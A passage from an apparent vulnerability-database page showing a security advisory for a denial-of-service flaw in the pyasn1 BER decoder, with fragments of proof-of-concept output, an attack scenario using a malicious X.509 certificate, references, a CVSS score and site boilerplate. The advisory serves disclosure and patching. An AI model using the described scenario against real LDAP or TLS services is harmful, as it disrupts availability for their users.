40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....\n 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... \n 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.\n\n[*] Digit distribution analysis:\n \u00270\u0027: 10.1%\n \u00271\u0027: 9.9%\n \u00272\u0027: 10.0%\n \u00273\u0027: 9.9%\n \u00274\u0027: 9.9%\n \u00275\u0027: 10.0%\n \u00276\u0027: 10.0%\n \u00277\u0027: 10.0%\n \u00278\u0027: 9.9%\n \u00279\u0027: 10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
"id": "PYSEC-2026-1810",
"modified": "2026-07-07T16:03:19.018533Z",
"published": "2026-07-07T16:03:19.018533Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyasn1/pyasn1"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/pyasn1"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pyasn1 has a DoS vulnerability in decoder"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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